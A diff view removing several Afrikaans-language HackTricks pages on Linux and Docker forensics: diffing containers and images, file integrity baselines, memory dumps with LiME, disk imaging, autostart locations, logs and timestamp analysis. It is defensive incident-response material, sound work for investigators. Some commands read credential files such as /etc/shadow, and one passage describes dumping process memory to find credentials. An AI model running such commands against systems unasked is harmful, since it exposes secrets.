||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Hou van hou
|
||||
|
||||
Daar is vermoedens dat 'n sekere docker houer gecompromitteer is:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
Jy kan maklik **die wysigings wat aan hierdie houer gemaak is met betrekking tot die beeld** vind met:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
C /var/lib
|
||||
C /var/lib/mysql
|
||||
A /var/lib/mysql/ib_logfile0
|
||||
A /var/lib/mysql/ib_logfile1
|
||||
A /var/lib/mysql/ibdata1
|
||||
A /var/lib/mysql/mysql
|
||||
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
In die vorige opdrag beteken **C** **Verander** en **A,** **Gevul**.\
|
||||
As jy vind dat 'n interessante lêer soos `/etc/shadow` gewysig is, kan jy dit van die houer aflaai om vir kwaadwillige aktiwiteit te kyk met:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
Jy kan dit ook **vergelyk met die oorspronklike een** deur 'n nuwe houer te laat loop en die lêer daaruit te onttrek:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
As jy vind dat **'n paar verdagte lêer bygevoeg is** kan jy die houer toegang en dit nagaan:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## Beeldwysigings
|
||||
|
||||
Wanneer jy 'n uitgevoerde docker-beeld ontvang (waarskynlik in `.tar` formaat) kan jy [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) gebruik om **'n opsomming van die wysigings** te **onttrek**:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
Dan kan jy die **dekomprimeer** die beeld en **toegang tot die blobs** verkry om te soek na verdagte lêers wat jy dalk in die veranderinge geskiedenis gevind het:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
### Basiese Analise
|
||||
|
||||
Jy kan **basiese inligting** van die beeld verkry deur te loop:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
Jy kan ook 'n opsomming **geskiedenis van veranderinge** kry met:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
U kan ook 'n **dockerfile uit 'n beeld** genereer met:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Dive
|
||||
|
||||
Om bygevoegde/gewijzigde lêers in docker beelde te vind, kan jy ook die [**dive**](https://github.com/wagoodman/dive) (aflaai dit van [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) nut gebruik:
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
Loaded image: flask:latest
|
||||
|
||||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
Dit stel jou in staat om **deur die verskillende blobs van docker beelde te navigeer** en te kyk watter lêers gewysig/gevoeg is. **Rooi** beteken gevoeg en **geel** beteken gewysig. Gebruik **tab** om na die ander weergawe te beweeg en **spasie** om vouers in te klap/open.
|
||||
|
||||
Met dit sal jy nie toegang hê tot die inhoud van die verskillende fases van die beeld nie. Om dit te doen, sal jy **elke laag moet dekomprimeer en toegang kry**.\
|
||||
Jy kan al die lae van 'n beeld dekomprimeer vanaf die gids waar die beeld gedecomprimeer is deur die volgende uit te voer:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## Kredensiale uit geheue
|
||||
|
||||
Let daarop dat wanneer jy 'n docker-container binne 'n gasheer uitvoer, **kan jy die prosesse wat op die container loop vanaf die gasheer sien** deur net `ps -ef` te loop.
|
||||
|
||||
Daarom (as root) kan jy **die geheue van die prosesse** vanaf die gasheer dump en soek na **kredensiale** net [**soos in die volgende voorbeeld**](../../linux-hardening/privilege-escalation/index.html#process-memory).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,26 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Baseline
|
||||
|
||||
'n Baseline bestaan uit die neem van 'n snapshot van sekere dele van 'n stelsel om **dit te vergelyk met 'n toekomstige status om veranderinge te beklemtoon**.
|
||||
|
||||
Byvoorbeeld, jy kan die hash van elke lêer van die lêerstelsel bereken en stoor om te kan uitvind watter lêers gewysig is.\
|
||||
Dit kan ook gedoen word met die gebruikersrekeninge wat geskep is, prosesse wat loop, dienste wat loop en enige ander ding wat nie veel, of glad nie, behoort te verander nie.
|
||||
|
||||
## File Integrity Monitoring
|
||||
|
||||
File Integrity Monitoring (FIM) is 'n kritieke sekuriteitstegniek wat IT-omgewings en data beskerm deur veranderinge in lêers te volg. Dit behels twee sleutelstappe:
|
||||
|
||||
1. **Baseline Vergelyking:** Stel 'n baseline op met behulp van lêer eienskappe of kriptografiese kontrole somes (soos MD5 of SHA-2) vir toekomstige vergelykings om wysigings te ontdek.
|
||||
2. **Regte-Tyd Verandering Kennisgewing:** Kry onmiddellike waarskuwings wanneer lêers geopen of gewysig word, tipies deur OS-kernuitbreidings.
|
||||
|
||||
## Tools
|
||||
|
||||
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||
|
||||
## References
|
||||
|
||||
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,370 +0,0 @@
|
||||
# Linux Forensics
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Aanvanklike Inligting Versameling
|
||||
|
||||
### Basiese Inligting
|
||||
|
||||
Eerstens, dit word aanbeveel om 'n **USB** te hê met **goeie bekende binaire en biblioteke daarop** (jy kan net ubuntu kry en die mappen _/bin_, _/sbin_, _/lib,_ en _/lib64_ kopieer), dan monteer die USB, en wysig die omgewing veranderlikes om daardie binaire te gebruik:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Sodra jy die stelsel gekonfigureer het om goeie en bekende binaire te gebruik, kan jy begin **inligting te onttrek**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
|
||||
ps -ef #Running processes
|
||||
netstat -anp #Proccess and ports
|
||||
lsof -V #Open files
|
||||
netstat -rn; route #Routing table
|
||||
df; mount #Free space and mounted devices
|
||||
free #Meam and swap space
|
||||
w #Who is connected
|
||||
last -Faiwx #Logins
|
||||
lsmod #What is loaded
|
||||
cat /etc/passwd #Unexpected data?
|
||||
cat /etc/shadow #Unexpected data?
|
||||
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
|
||||
```
|
||||
#### Verdagte inligting
|
||||
|
||||
Terwyl jy die basiese inligting verkry, moet jy vir vreemde dinge kyk soos:
|
||||
|
||||
- **Root prosesse** loop gewoonlik met lae PIDS, so as jy 'n root proses met 'n groot PID vind, kan jy vermoed
|
||||
- Kontroleer **geregistreerde aanmeldings** van gebruikers sonder 'n shell binne `/etc/passwd`
|
||||
- Kontroleer vir **wagwoord-hashes** binne `/etc/shadow` vir gebruikers sonder 'n shell
|
||||
|
||||
### Geheue Dump
|
||||
|
||||
Om die geheue van die lopende stelsel te verkry, word dit aanbeveel om [**LiME**](https://github.com/504ensicsLabs/LiME) te gebruik.\
|
||||
Om dit te **compileer**, moet jy die **dieselfde kern** gebruik wat die slagoffer masjien gebruik.
|
||||
|
||||
> [!NOTE]
|
||||
> Onthou dat jy **nie LiME of enige ander ding** op die slagoffer masjien kan installeer nie, aangesien dit verskeie veranderinge daaraan sal maak
|
||||
|
||||
So, as jy 'n identiese weergawe van Ubuntu het, kan jy `apt-get install lime-forensics-dkms` gebruik\
|
||||
In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit compileer met die korrekte kernkoppe. Om die **presiese kernkoppe** van die slagoffer masjien te verkry, kan jy net die **gids** `/lib/modules/<kernel version>` na jou masjien kopieer, en dan **compileer** LiME met hulle:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME ondersteun 3 **formate**:
|
||||
|
||||
- Rau (elke segment saamgevoeg)
|
||||
- Gepad (dieselfde as rau, maar met nul in regter bits)
|
||||
- Lime (aanbevole formaat met metadata)
|
||||
|
||||
LiME kan ook gebruik word om die **dump via netwerk te stuur** in plaas van om dit op die stelsel te stoor met iets soos: `path=tcp:4444`
|
||||
|
||||
### Skyf Beeldvorming
|
||||
|
||||
#### Afsluiting
|
||||
|
||||
Eerstens, jy sal moet **die stelsel afsluit**. Dit is nie altyd 'n opsie nie, aangesien sommige stelsels 'n produksiebediener kan wees wat die maatskappy nie kan bekostig om af te sluit.\
|
||||
Daar is **2 maniere** om die stelsel af te sluit, 'n **normale afsluiting** en 'n **"trek die stekker" afsluiting**. Die eerste een sal die **prosesse toelaat om soos gewoonlik te beëindig** en die **lêerstelsel** te **sinkroniseer**, maar dit sal ook die moontlike **malware** toelaat om **bewyse te vernietig**. Die "trek die stekker" benadering kan **sekere inligtingverlies** meebring (nie veel van die inligting gaan verlore gaan nie aangesien ons reeds 'n beeld van die geheue geneem het) en die **malware sal nie enige geleentheid hê** om iets daaroor te doen nie. Daarom, as jy **vermoed** dat daar 'n **malware** mag wees, voer net die **`sync`** **opdrag** op die stelsel uit en trek die stekker.
|
||||
|
||||
#### Neem 'n beeld van die skyf
|
||||
|
||||
Dit is belangrik om te noem dat **voor jy jou rekenaar aan enigiets wat met die saak verband hou, koppel**, jy moet seker wees dat dit as **slegs lees** gemonteer gaan word om te verhoed dat enige inligting gewysig word.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
||||
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Skyfbeeld pre-analise
|
||||
|
||||
Beeld 'n skyfbeeld met geen verdere data nie.
|
||||
```bash
|
||||
#Find out if it's a disk image using "file" command
|
||||
file disk.img
|
||||
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Check which type of disk image it's
|
||||
img_stat -t evidence.img
|
||||
raw
|
||||
#You can list supported types with
|
||||
img_stat -i list
|
||||
Supported image format types:
|
||||
raw (Single or split raw file (dd))
|
||||
aff (Advanced Forensic Format)
|
||||
afd (AFF Multiple File)
|
||||
afm (AFF with external metadata)
|
||||
afflib (All AFFLIB image formats (including beta ones))
|
||||
ewf (Expert Witness Format (EnCase))
|
||||
|
||||
#Data of the image
|
||||
fsstat -i raw -f ext4 disk.img
|
||||
FILE SYSTEM INFORMATION
|
||||
--------------------------------------------
|
||||
File System Type: Ext4
|
||||
Volume Name:
|
||||
Volume ID: 162850f203fd75afab4f1e4736a7e776
|
||||
|
||||
Last Written at: 2020-02-06 06:22:48 (UTC)
|
||||
Last Checked at: 2020-02-06 06:15:09 (UTC)
|
||||
|
||||
Last Mounted at: 2020-02-06 06:15:18 (UTC)
|
||||
Unmounted properly
|
||||
Last mounted on: /mnt/disk0
|
||||
|
||||
Source OS: Linux
|
||||
[...]
|
||||
|
||||
#ls inside the image
|
||||
fls -i raw -f ext4 disk.img
|
||||
d/d 11: lost+found
|
||||
d/d 12: Documents
|
||||
d/d 8193: folder1
|
||||
d/d 8194: folder2
|
||||
V/V 65537: $OrphanFiles
|
||||
|
||||
#ls inside folder
|
||||
fls -i raw -f ext4 disk.img 12
|
||||
r/r 16: secret.txt
|
||||
|
||||
#cat file inside image
|
||||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
## Soek na bekende Malware
|
||||
|
||||
### Gewysigde Stelselfe
|
||||
|
||||
Linux bied gereedskap om die integriteit van stelselkome te verseker, wat noodsaaklik is om potensieel problematiese lêers op te spoor.
|
||||
|
||||
- **RedHat-gebaseerde stelsels**: Gebruik `rpm -Va` vir 'n omvattende kontrole.
|
||||
- **Debian-gebaseerde stelsels**: `dpkg --verify` vir aanvanklike verifikasie, gevolg deur `debsums | grep -v "OK$"` (na die installering van `debsums` met `apt-get install debsums`) om enige probleme te identifiseer.
|
||||
|
||||
### Malware/Rootkit Detektors
|
||||
|
||||
Lees die volgende bladsy om meer te leer oor gereedskap wat nuttig kan wees om malware te vind:
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Soek geïnstalleerde programme
|
||||
|
||||
Om effektief te soek na geïnstalleerde programme op beide Debian en RedHat stelsels, oorweeg om stelsellogs en databasisse saam met handmatige kontroles in algemene gidse te benut.
|
||||
|
||||
- Vir Debian, ondersoek _**`/var/lib/dpkg/status`**_ en _**`/var/log/dpkg.log`**_ om besonderhede oor pakketinstallasies te verkry, met `grep` om vir spesifieke inligting te filter.
|
||||
- RedHat gebruikers kan die RPM-databasis ondervra met `rpm -qa --root=/mntpath/var/lib/rpm` om geïnstalleerde pakkette te lys.
|
||||
|
||||
Om sagteware wat handmatig of buite hierdie pakketbestuurders geïnstalleer is, te ontdek, verken gidse soos _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, en _**`/sbin`**_. Kombineer gidse met stelselspesifieke opdragte om uitvoerbare lêers te identifiseer wat nie geassosieer word met bekende pakkette nie, wat jou soektog na alle geïnstalleerde programme verbeter.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
cat /var/log/dpkg.log | grep installed
|
||||
# RedHat RPM database query
|
||||
rpm -qa --root=/mntpath/var/lib/rpm
|
||||
# Listing directories for manual installations
|
||||
ls /usr/sbin /usr/bin /bin /sbin
|
||||
# Identifying non-package executables (Debian)
|
||||
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
||||
# Identifying non-package executables (RedHat)
|
||||
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
## Herstel Verwyderde Loopende Binaries
|
||||
|
||||
Stel jou 'n proses voor wat vanaf /tmp/exec uitgevoer is en toe verwyder is. Dit is moontlik om dit te onttrek.
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Inspekteer Autostart plekke
|
||||
|
||||
### Geskeduleerde Take
|
||||
```bash
|
||||
cat /var/spool/cron/crontabs/* \
|
||||
/var/spool/cron/atjobs \
|
||||
/var/spool/anacron \
|
||||
/etc/cron* \
|
||||
/etc/at* \
|
||||
/etc/anacrontab \
|
||||
/etc/incron.d/* \
|
||||
/var/spool/incron/* \
|
||||
|
||||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
### Dienste
|
||||
|
||||
Paaie waar 'n malware as 'n diens geïnstalleer kan word:
|
||||
|
||||
- **/etc/inittab**: Roep inisialisering skripte aan soos rc.sysinit, wat verder na opstart skripte lei.
|
||||
- **/etc/rc.d/** en **/etc/rc.boot/**: Bevat skripte vir diens opstart, laasgenoemde word in ouer Linux weergawes gevind.
|
||||
- **/etc/init.d/**: Gebruik in sekere Linux weergawes soos Debian vir die stoor van opstart skripte.
|
||||
- Dienste kan ook geaktiveer word via **/etc/inetd.conf** of **/etc/xinetd/**, afhangende van die Linux variasie.
|
||||
- **/etc/systemd/system**: 'n Gids vir stelsels en diensbestuurder skripte.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Bevat skakels na dienste wat in 'n multi-gebruiker runlevel begin moet word.
|
||||
- **/usr/local/etc/rc.d/**: Vir pasgemaakte of derdeparty dienste.
|
||||
- **\~/.config/autostart/**: Vir gebruiker-spesifieke outomatiese opstart toepassings, wat 'n wegsteekplek vir gebruiker-gemikte malware kan wees.
|
||||
- **/lib/systemd/system/**: Stelselswye standaard eenheid lêers verskaf deur geïnstalleerde pakkette.
|
||||
|
||||
### Kernel Modules
|
||||
|
||||
Linux kernel modules, dikwels deur malware as rootkit komponente gebruik, word by stelselaanvang gelaai. Die gidse en lêers wat krities vir hierdie modules is, sluit in:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Hou modules vir die lopende kernel weergawe.
|
||||
- **/etc/modprobe.d**: Bevat konfigurasielêers om module laai te beheer.
|
||||
- **/etc/modprobe** en **/etc/modprobe.conf**: Lêers vir globale module instellings.
|
||||
|
||||
### Ander Outomatiese Opstart Plekke
|
||||
|
||||
Linux gebruik verskeie lêers om programme outomaties uit te voer by gebruiker aanmelding, wat moontlik malware kan huisves:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, en **/etc/bash.bashrc**: Word uitgevoer vir enige gebruiker aanmelding.
|
||||
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, en **\~/.config/autostart**: Gebruiker-spesifieke lêers wat by hul aanmelding loop.
|
||||
- **/etc/rc.local**: Loop nadat alle stelseldienste begin het, wat die einde van die oorgang na 'n multi-gebruiker omgewing aandui.
|
||||
|
||||
## Ondersoek Logs
|
||||
|
||||
Linux stelsels volg gebruiker aktiwiteite en stelsel gebeurtenisse deur verskeie log lêers. Hierdie logs is noodsaaklik om ongeoorloofde toegang, malware infeksies, en ander sekuriteitsvoorvalle te identifiseer. Sleutel log lêers sluit in:
|
||||
|
||||
- **/var/log/syslog** (Debian) of **/var/log/messages** (RedHat): Vang stelselswye boodskappe en aktiwiteite.
|
||||
- **/var/log/auth.log** (Debian) of **/var/log/secure** (RedHat): Registreer autentikasie pogings, suksesvolle en mislukte aanmeldings.
|
||||
- Gebruik `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` om relevante autentikasie gebeurtenisse te filter.
|
||||
- **/var/log/boot.log**: Bevat stelsel opstart boodskappe.
|
||||
- **/var/log/maillog** of **/var/log/mail.log**: Log e-pos bediener aktiwiteite, nuttig vir die opsporing van e-pos verwante dienste.
|
||||
- **/var/log/kern.log**: Stoor kernel boodskappe, insluitend foute en waarskuwings.
|
||||
- **/var/log/dmesg**: Hou toestel bestuurder boodskappe.
|
||||
- **/var/log/faillog**: Registreer mislukte aanmeldingspogings, wat help in sekuriteitsbreuk ondersoeke.
|
||||
- **/var/log/cron**: Log cron taak uitvoerings.
|
||||
- **/var/log/daemon.log**: Volg agtergrond diens aktiwiteite.
|
||||
- **/var/log/btmp**: Dokumenteer mislukte aanmeldingspogings.
|
||||
- **/var/log/httpd/**: Bevat Apache HTTPD fout en toegang logs.
|
||||
- **/var/log/mysqld.log** of **/var/log/mysql.log**: Log MySQL databasis aktiwiteite.
|
||||
- **/var/log/xferlog**: Registreer FTP lêer oordrag.
|
||||
- **/var/log/**: Kontroleer altyd vir onverwagte logs hier.
|
||||
|
||||
> [!NOTE]
|
||||
> Linux stelsel logs en oudit subsisteme mag gedeaktiveer of verwyder word in 'n indringing of malware voorval. Omdat logs op Linux stelsels oor die algemeen sommige van die nuttigste inligting oor kwaadwillige aktiwiteite bevat, verwyder indringers gereeld hulle. Daarom, wanneer beskikbare log lêers ondersoek word, is dit belangrik om te soek na gapings of uit die orde inskrywings wat 'n aanduiding van verwydering of manipulasie mag wees.
|
||||
|
||||
**Linux hou 'n opdrag geskiedenis vir elke gebruiker**, gestoor in:
|
||||
|
||||
- \~/.bash_history
|
||||
- \~/.zsh_history
|
||||
- \~/.zsh_sessions/\*
|
||||
- \~/.python_history
|
||||
- \~/.\*\_history
|
||||
|
||||
Boonop bied die `last -Faiwx` opdrag 'n lys van gebruiker aanmeldings. Kontroleer dit vir onbekende of onverwagte aanmeldings.
|
||||
|
||||
Kontroleer lêers wat ekstra regte kan toeken:
|
||||
|
||||
- Hersien `/etc/sudoers` vir onverwagte gebruiker regte wat moontlik toegeken is.
|
||||
- Hersien `/etc/sudoers.d/` vir onverwagte gebruiker regte wat moontlik toegeken is.
|
||||
- Ondersoek `/etc/groups` om enige ongewone groep lidmaatskappe of toestemmings te identifiseer.
|
||||
- Ondersoek `/etc/passwd` om enige ongewone groep lidmaatskappe of toestemmings te identifiseer.
|
||||
|
||||
Sommige toepassings genereer ook hul eie logs:
|
||||
|
||||
- **SSH**: Ondersoek _\~/.ssh/authorized_keys_ en _\~/.ssh/known_hosts_ vir ongeoorloofde afstandverbindinge.
|
||||
- **Gnome Desktop**: Kyk in _\~/.recently-used.xbel_ vir onlangs toeganklike lêers via Gnome toepassings.
|
||||
- **Firefox/Chrome**: Kontroleer blaargeskiedenis en aflaaie in _\~/.mozilla/firefox_ of _\~/.config/google-chrome_ vir verdagte aktiwiteite.
|
||||
- **VIM**: Hersien _\~/.viminfo_ vir gebruik besonderhede, soos toeganklike lêer paaie en soek geskiedenis.
|
||||
- **Open Office**: Kontroleer vir onlangse dokument toegang wat moontlik gecompromitteerde lêers aandui.
|
||||
- **FTP/SFTP**: Hersien logs in _\~/.ftp_history_ of _\~/.sftp_history_ vir lêer oordrag wat moontlik ongeoorloofde is.
|
||||
- **MySQL**: Ondersoek _\~/.mysql_history_ vir uitgevoerde MySQL vrae, wat moontlik ongeoorloofde databasis aktiwiteite onthul.
|
||||
- **Less**: Analiseer _\~/.lesshst_ vir gebruik geskiedenis, insluitend gesien lêers en uitgevoerde opdragte.
|
||||
- **Git**: Ondersoek _\~/.gitconfig_ en projek _.git/logs_ vir veranderinge aan repositories.
|
||||
|
||||
### USB Logs
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) is 'n klein stuk sagteware geskryf in suiwer Python 3 wat Linux log lêers (`/var/log/syslog*` of `/var/log/messages*` afhangende van die distro) ontleed om USB gebeurtenis geskiedenis tabelles te bou.
|
||||
|
||||
Dit is interessant om **alle USB's wat gebruik is** te weet en dit sal meer nuttig wees as jy 'n gemagtigde lys van USB's het om "oortreding gebeurtenisse" (die gebruik van USB's wat nie binne daardie lys is nie) te vind.
|
||||
|
||||
### Installasie
|
||||
```bash
|
||||
pip3 install usbrip
|
||||
usbrip ids download #Download USB ID database
|
||||
```
|
||||
### Voorbeelde
|
||||
```bash
|
||||
usbrip events history #Get USB history of your curent linux machine
|
||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||
#Search for vid and/or pid
|
||||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Meer voorbeelde en inligting binne die github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
## Hersien Gebruikersrekeninge en Aanmeldaktiwiteite
|
||||
|
||||
Ondersoek die _**/etc/passwd**_, _**/etc/shadow**_ en **veiligheidslogboek** vir ongewone name of rekeninge wat geskep en of gebruik is in nabyheid van bekende ongeoorloofde gebeurtenisse. Kontroleer ook moontlike sudo brute-force aanvalle.\
|
||||
Boonop, kyk na lêers soos _**/etc/sudoers**_ en _**/etc/groups**_ vir onverwagte voorregte wat aan gebruikers gegee is.\
|
||||
Laastens, soek na rekeninge met **geen wagwoorde** of **maklik geraadpleegde** wagwoorde.
|
||||
|
||||
## Ondersoek Lêerstelsel
|
||||
|
||||
### Ontleding van Lêerstelselstrukture in Malware Ondersoek
|
||||
|
||||
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêerstelsel 'n belangrike bron van inligting, wat beide die volgorde van gebeurtenisse en die inhoud van die malware onthul. egter, malware-skeppers ontwikkel tegnieke om hierdie analise te hinder, soos om lêer tydstempels te wysig of die lêerstelsel te vermy vir datastoor.
|
||||
|
||||
Om hierdie anti-forensiese metodes te teenwerk, is dit noodsaaklik om:
|
||||
|
||||
- **'n deeglike tydlynanalise uit te voer** met behulp van gereedskap soos **Autopsy** vir die visualisering van gebeurtenistydlyne of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn data.
|
||||
- **Ondersoek ongewone skripte** in die stelsel se $PATH, wat dalk skulp of PHP-skripte insluit wat deur aanvallers gebruik word.
|
||||
- **Ondersoek `/dev` vir ongewone lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar dalk malware-verwante lêers kan huisves.
|
||||
- **Soek na versteekte lêers of gidse** met name soos ".. " (dot dot space) of "..^G" (dot dot control-G), wat kwaadwillige inhoud kan verberg.
|
||||
- **Identifiseer setuid root lêers** met die opdrag: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde voorregte, wat deur aanvallers misbruik kan word.
|
||||
- **Hersien verwydering tydstempels** in inode-tabelle om massalêer verwyderings op te spoor, wat moontlik die teenwoordigheid van rootkits of trojans aandui.
|
||||
- **Inspekteer opeenvolgende inodes** vir nabye kwaadwillige lêers nadat een geïdentifiseer is, aangesien hulle dalk saam geplaas is.
|
||||
- **Kontroleer algemene binêre gidse** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie dalk deur malware verander is.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
> [!NOTE]
|
||||
> Let daarop dat 'n **aanvaller** die **tyd** kan **wysig** om **lêers** **legitiem** te laat lyk, maar hy kan nie die **inode** **wysig** nie. As jy vind dat 'n **lêer** aandui dat dit op die **dieselfde tyd** as die res van die lêers in dieselfde gids geskep en gewysig is, maar die **inode** **onverwagte groter** is, dan is die **tydstempels van daardie lêer gewysig**.
|
||||
|
||||
## Vergelyk lêers van verskillende lêerstelsels
|
||||
|
||||
### Samevatting van Vergelyking van Lêerstelsels
|
||||
|
||||
Om lêerstelsels te vergelyk en veranderinge te identifiseer, gebruik ons vereenvoudigde `git diff` opdragte:
|
||||
|
||||
- **Om nuwe lêers te vind**, vergelyk twee gidse:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Vir gewysigde inhoud**, lys veranderinge terwyl spesifieke lyne geïgnoreer word:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
- **Om verwyderde lêers te ontdek**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Filter opsies** (`--diff-filter`) help om te fokus op spesifieke veranderinge soos bygevoeg (`A`), verwyder (`D`), of gewysig (`M`) lêers.
|
||||
- `A`: Bygevoegde lêers
|
||||
- `C`: Gekopieerde lêers
|
||||
- `D`: Verwyderde lêers
|
||||
- `M`: Gewysigde lêers
|
||||
- `R`: Hernoemde lêers
|
||||
- `T`: Tipe veranderinge (bv. lêer na symlink)
|
||||
- `U`: Onvervlegte lêers
|
||||
- `X`: Onbekende lêers
|
||||
- `B`: Gebroke lêers
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
|
||||
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
- **Boek: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,154 +0,0 @@
|
||||
# Malware Analise
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Forensiese CheatSheets
|
||||
|
||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||
